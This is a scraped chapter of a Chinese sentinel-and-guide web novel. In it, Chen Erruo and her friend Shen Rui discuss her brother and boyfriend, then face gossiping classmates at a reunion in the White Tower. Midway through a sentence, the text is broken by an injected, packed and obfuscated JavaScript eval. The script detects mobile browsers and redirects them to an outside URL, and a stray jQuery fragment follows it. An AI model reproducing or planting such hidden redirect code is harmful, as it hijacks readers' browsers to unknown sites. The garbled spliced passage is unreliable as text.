49.第 49 章
作品:《被迫阴暗的向导她翻车了》 室内空调开得很足,电视机播着当下热门的偶像剧,茶几上提前摆切好的果盘,还有两杯没开封的奶茶备在旁边。
演员对话的声音被陈尔若用遥控器调小,她抱着抱枕趴在沙发上,喉咙被压住,她的声音闷闷的:“陈宿说,他不是我的监护人,没必要管我去哪儿……你说,他今天是不是吃错药了?”
申蕊今天穿了身卡通的粉色连体睡衣,头发束成丸子头,毛绒发箍将凌乱的碎发推到额头后,她的颧骨偏高,眉眼细长,三白眼,看人时总有种蔑视的感觉,嘴唇厚而性感,只是浑身的穿搭与那张冷淡又美艳的脸毫无关联。
她把桌上洗好的草莓往她面前推了推,翘起腿,张口就没好气地骂她:“陈尔若,你弟现在不管你不是挺好的吗。怎么,你是天生挨训体质?不管你,你还不舒服了?”
“我就是觉得怪怪的。”她嘟囔着。
申蕊冷笑:“你现在才觉得怪是不是有点太晚了?”
“什么?”陈尔若没明白她的意思,困惑地看向她,“太晚了是什么意思?”
“你不觉得你弟之前也很怪吗?”
申蕊扳着手指头给她列举:“平时也没见对你有多好,但各个方面都要管着你。你工作他要替你安排,外出去哪儿他要问清楚,最离谱的是你谈恋爱……”
她突然顿住,恨铁不成钢地用手指戳了戳她的额头:“算了!我说了也白说,你自己半点姐姐的威严都没有,任由他管,事事都要和他报备,哪里有个姐姐的样子啊!”
这一下戳得很用力,陈尔若吃痛地闭上眼,小声埋怨道:“之前你骂我怂包,让我硬气点,还让我找理由骂他一顿,可上次他过来你不是也怕他吗……你还说我……”
申蕊气笑了:“你是他姐,我是吗!”
陈尔若揪了个草莓送到她嘴边,好声好气地求饶:“好啦好啦,别生气了,吃个草莓,我工资到账之后专门给你买的……喏。”
申蕊毫不客气地咬住她递过来的草莓,囫囵吃下去:“不说你弟了,说说你那个男朋友。照片我看了,脸确实帅得惨绝人寰的,身材也不错……”
她挑起眉,啧啧两声,捏住她的下巴,扭着满意地看了看:“总的来说,配你勉强够格,光看外表,这门亲事我觉得不错。”
似乎想到了什么,申蕊狐疑地看向她:“但他是怎么被你拿到手的,陈尔若,就你这三棍子打不出个屁的性子,我真是完全想象不到……别是藏着什么雷吧,你坦诚跟我说,他别的地方没毛病吧?”
陈尔若思考片刻,诚恳地摇了摇头:“没有,他人挺好的,各方面都挺好。”
“真的吗?”申蕊皱起眉,“说实话,我看他那张脸,长得就够招蜂引蝶的,感觉不是什么……纯情挂。”
她讷讷:“那个,他跟我说他之前没谈过……”
“陈尔若,这鬼话你不会真信了吧?”
申蕊眼睛瞪大,难以置信:“你真信男人嘴里,说你是他初恋啊?”
“不是,你听我说,他真的……”
陈尔若慌忙张口,想要解释。
“老天啊,没我帮你看着,出去一趟你真栽情网里了!哪个贱男人敢这么骗你!”
申蕊气得脑壳疼,她坐直了身体,把她也拽起来,严加拷问:“陈尔若,你老老实实给我说清楚,你俩到底谈到哪一步了!”
“亲嘴没?”
“……亲了。”
“进一步呢?”
“……”见她皮笑肉不笑,陈尔若苍白地解释,“这个是我主动的,不怪他……”
越听她说话申蕊越来气。
她从上学那会儿就知道陈尔若是个总把情绪闷在心里的笨蛋,长了张又漂亮又好欺负的脸,像个小白馒头,谁都能捏一把。
她的脾气和她截然相反,因为年少轻狂,拎着凳子把班里那个追不上她还恶意造黄谣的男人砸得头破血流,被迫转学。
她本想着到新学校遏制坏脾气,结果忍了没几天就再也忍不住。每次转学,她妈头疼地问她为什么又惹祸,她只有一句话,谁让她身边的贱人那么多,欠骂又欠打。
后来她妈车祸没了,她爸再娶,也不管她了,她慢慢也就把自己的脾气调理好了。
最后一次转学,她以为自己能安安静静地把学上完。但撞见班里小女生被那群贱人在冬天泼冰水,她最终没忍住,拿着脏兮兮的拖把把人赶走,追着她们破口大骂。
她以为她骂爽了,放学后却没出息地跑到厕所哭鼻子。祸不单行,在马桶上坐了没一会儿,她又发现自己来月经了,用这个月打工的钱,新买的浅卡其色的裤子也被弄脏了。
她独自蜷缩在那间狭窄的厕所隔间里,疼得不想动弹,准备等到班里的人都走光了她再出去。却没想到有人敲响了她隔间的门,小声地跟她说:“你在里面待很久了……”
她疼得烦躁不堪,没好气地说:“催什么啊!别的厕所没坑位吗?”
外面沉默许久,闷闷地说:“我不是那个意思……我是想来跟你说谢谢的……”
顿时,她窘得脸都红了,磕磕绊绊地让她帮忙买包卫生巾。
女孩子间建立友谊,是件很讲缘分的事,或许是有共同的爱好,又或许只是给予彼此的一点好意,由某个不经意的契机,萌发出无可替代的感情。
理所当然又顺其自然的,放学后,她们会默契地相伴走出校门,午休时,她们会坐在一起吃饭聊天,吐槽琐事。
往往是她在讲,她在听。
只是陈尔若总会偷偷多买两份菜,借口吃不完,分到她清汤寡水的碗里。或是借着每个无关紧要的节日给她送礼物,连儿童节她都送了盒牛奶糖给她,便签上写着“别生我的气了”,旁边画着“???”的表情符。
——为她偶尔无意识地疏远她。
陈尔若是个又好欺负又经常惹人生气的笨蛋,申蕊早就知道,她和她弟弟的关系也复杂在这里,所以她不会过多地干预。
可她身边那个不知从哪里冒出来的男人怎么敢这样哄骗她?
她冷笑:“你不准说了,我倒要看看那死男人是个什么东西,能把你迷成这样!”
说罢,申蕊利落地扯掉皮筋,棕卷发落下来,她起身往卧室走,不忘嘱咐她:“赶紧换衣服出门,穿我给你买的那身名牌。你来之前,我接到消息,咱上学的时候,班里那个看不起咱俩的贱人要开同学会,听说今天白塔公布匹配度的日子,为了炫耀自己的实力,还专门挑了白塔内的酒店。”
陈尔若愣了半天才反应过来,不解追问:“我们去干嘛啊?”
“今天晚上,大部分哨兵向导都会聚集在那一块,正好把你男朋友叫来。我扇完那个贱人的脸,顺便去……”申蕊不自然地轻咳一声,“顺便审审他,看他够不够格。”
*
高耸的大厦群伫立在三座金字塔型的建筑中央,如镇守的利剑。如果说基地是坐落在荒漠中的绿洲,这片建筑群就是扎根在绿洲中的晶石。其表面覆盖着特殊材质的玻璃,在黄昏夕阳下熠熠闪光,如宝石光泽,森严而华丽。
大厦群与一块巨大的屏幕遥遥相对,上面浮动着无数的字符,单调、繁复,象征白塔作为数据中心所收集到的信息与资源。若发生危险,屏幕也会及时发布警告通知。
公开匹配度,仅仅是白塔区域内哨兵与向导建立联系的一项活动。大屏幕并不会将所有人的姓名信息公开在上面,会适当地遮蔽姓名中某个字,再由白塔的系统滚动排列名单,用信息专门通知与之相匹配的单身哨兵或向导。
牵线搭桥,图个气氛。
不少哨兵眼巴巴盼着有向导与自己的结合度高一些,若真登上了名单,接触后,彼此两厢情愿,极大概率会被白塔分配成婚。
夕阳渐落,无数人翘首以盼。
二十楼的包厢,透明落窗后可以望见白塔恢宏的大屏。一个西装革履的男人站在桌前,被众人围着,他有些歉意地抬了抬酒杯:“真是不好意思,今天算是贸然邀请,姚某真是感谢大家捧场。”
旁边的男人狭促地笑道:“姚宏,你就别谦虚了,要不是你,我们哪儿有资格来白塔核心区啊?更别提今天还是公开结合度的日子,旁边包厢都坐着那些眼高于顶的哨兵向导,我光是上厕所就撞上好几个。”
姚宏抿了口酒,不甚在意的样子:“哪里有眼高于顶,都是为白塔工作的人罢了。我夫人的哥哥是位高级哨兵,我呢,有幸接触过几次,脾气特别好。这间包厢还是他特意申请,昨天批下来,我今天就约你们过来了。”
“高级哨兵?”
对面的女人惊呼,发觉失态了,尴尬地捂住嘴,调整好表情,又笑语晏晏:“姚宏,没想到你这么快就结婚了,瞒得真好,我们这些老同学可完全不知情啊?要不要把份子钱补给你啊。”
其他人也打趣:“是啊,真是没想到你还念着我们这些老朋友,怎么说也得把份子钱补给你吧。”
姚宏装出无奈的样子,把杯子放下:“不用了不用了,心意到了就行。我现在也不缺这些,请你们来只是为了重温年轻时候而已。我这两年在白塔控制中心工作得还不错,你们要是有什么需要帮忙的地方尽管来找我啊。”
“控制中心?那倒很巧啊,你是哪个部门的?”一道清亮的女声从门口传来,语气漫不经心,姚宏闻声皱了皱眉,转头看见来人,表情明显愣了下。
申蕊穿了身亮眼的紧身红裙子,脖子上的钻石项链格外惹眼,两个圆环耳坠挂在莹白的耳垂上,张扬又明媚,不像来赴宴,倒像来砸场子的。
她站在门口淡淡地用视线扫视了一圈,然后毫不客气地拉开凳子坐下,翘起腿:“姚宏,你在控制中心的哪个部门啊,以后我要是有什么困难,也能找你做做关系。”
围在他旁边的人神色各异。
谁不知道姚宏曾经追过申蕊,各种花样手段都用过了,偏偏申蕊半点看不上,还当着全班人的面劈头盖脸地骂他,给人难堪。
姚宏的面色只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700168|173346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
僵了片刻,强颜欢笑道:“申蕊,好久不见。”
普通人,毕业后能进白塔工作,基本都是精英中的佼佼者。听她的语气,显然已经在白塔部门从事多年,职位可能比姚宏还高。曾经的嫌弃如今化为复杂的感情,大部分人扯不下脸去讨好,也不敢得罪。
“来的人不少啊,都怪眼熟的。”
她笑道:“可惜,就是缺了柴烨和李晴。不过也是,他俩早就遭报应了,一个没命了,一个截肢了,来不了也正常,要是来了才吓人呢。”
气氛一时冷却,有人硬着头皮打圆场:“都是老同学,那些陈年旧事就不提了、不提了……”
“是啊,寒暄完就赶紧坐下吧。”
“姚宏,来,你是领头的,你坐这儿。”
没人故意提旧事,气氛也逐渐活络起来。申蕊面无表情地打开手机,点开聊天界面,指甲敲得屏幕啪啪作响。
【只想躺平】:陈尔若,你人呢
【只想躺平】:上厕所需要那么长时间
【只想躺平】:你不来,我怎么撕那些人的脸?我忍很久了
信息是秒回的。
【不想上班】:那个,你不是要见蔺霍吗
【不想上班】:我正忙着联系他呢
【不想上班】:你别急,我马上
申蕊不用猜就知道她又找借口躲了,最后冷酷地给她发了句,十分钟后,要么她到,要么她带着她男朋友一起到。
*
洗手间陆续有人离开,不约而同地瞥向那道始终站在镜子前、踌躇不定的身影。
她应当是精心打扮过的,蓬松的黑棕发堆在脸侧,衬得脸格外小,肤色雪白,眼睛乌黑,唇色是微微的嫩粉。耳垂上镶嵌的钻石在顶光照耀下折射出光彩。只是她表情迟疑,眉毛蹙起,显出无辜的柔软,毫无攻击性。
手机屏幕亮起,陈尔若瞧见申蕊发来的消息,幽幽叹了口气。
她已经记不清那些旁观者的脸了。
真真切切让她感到恶心的人被她杀了,做他手中刀的帮凶也得到了应有的下场,至于那些冷眼旁观的,一个个找来太麻烦,现在要她去重温那段不美好的回忆……
她能明白申蕊的意思。
若他们安分些,她也懒得再过问。
只希望,他们安分一些。
在申蕊的强烈要求下,她给蔺霍发了消息,问他在哪儿,说她想见他一面。
哨兵的回复很简约,短短几个字。
“定位发我”。
这所大厦平时是白塔高层和工作人员开会策划的地方,由于今天公开结合度,高层将部分楼层暂时开放给哨兵和向导。
她走出洗手间,环顾了一圈。
走廊上穿着各色制服的哨兵向导们三五成群,谈笑风生。形态各异的精神体在人群中穿梭,雪豹、棕熊、猞猁、狐狸,甚至还有拖着华丽尾羽的孔雀。一些精神体旁若无人地依偎在一起,亲密无间。
乍眼一看,好像野生动物园。
附近有哨兵颇感兴趣地朝着她的方向走过来,陈尔若匆匆离开,直奔申蕊跟她说的包厢。
包厢的门虚掩着,光线与刺耳的音浪挤出来,爆发出哄笑和尖刻的议论声,她的脚步突然顿住,放在门把上的手也渐渐放下。
“不会吧!姚宏,你确定你夫人没说错吗?刚才我看申蕊那么趾高气扬,还以为她的职位真比你高呢,感情是打肿脸充胖子啊……”
男声无奈地叹了口气:“好了好了,申蕊有事出去了,你们嘴上留点德,等她回来你们别乱说。我知道,她是想护着她朋友,这事放谁身上都不光彩……陈尔若触犯白塔纪律被永禁入职,她肯定也不想说出来。她们曾经是同事,这不假,但现在再这么说也不对啊。”
“换成扫地出门才更贴切吧。”另一个男声夸张地笑起来,声音充满猎奇的兴奋,“姚宏,你老婆没说她是犯了什么错,能被白塔永禁入职,这得多大的本事?申蕊还敢把这种人放到嘴边,臭味相投吧。”
对面似乎犹豫了一下:“……具体的我也不好多说。我夫人只说被革职的人一时冲动,偷了某位大人物的珍贵物件,被人查到了,性质太恶劣,所以……哎,不提了不提了,总归不是什么光彩事,作为老同学,没必要这样落井下石,表面功夫总是要维护好的。”
“她俩之前不就这样吗?物以类聚罢了,她还敢提李晴和柴烨,李晴都那么惨了,她居然还冷言嘲讽,真是一点良心都没有……”
“姚宏,我实话说,这种人其实你都没必要邀请她,换了正常人都要躲着的,也就你还念着点同学情分,也是太给她们脸了!”
“郑促,好了,这样说就太过了……女生面子薄,一会儿人过来了还说这么难听就是你的错了。同学聚会,大家高高兴兴的嘛……”
没过几秒,屋内传来一阵酣畅淋漓的哄笑,含着心照不宣的鄙夷。
“他们不会在说你吧?”
身后突然传来道戏谑的声音。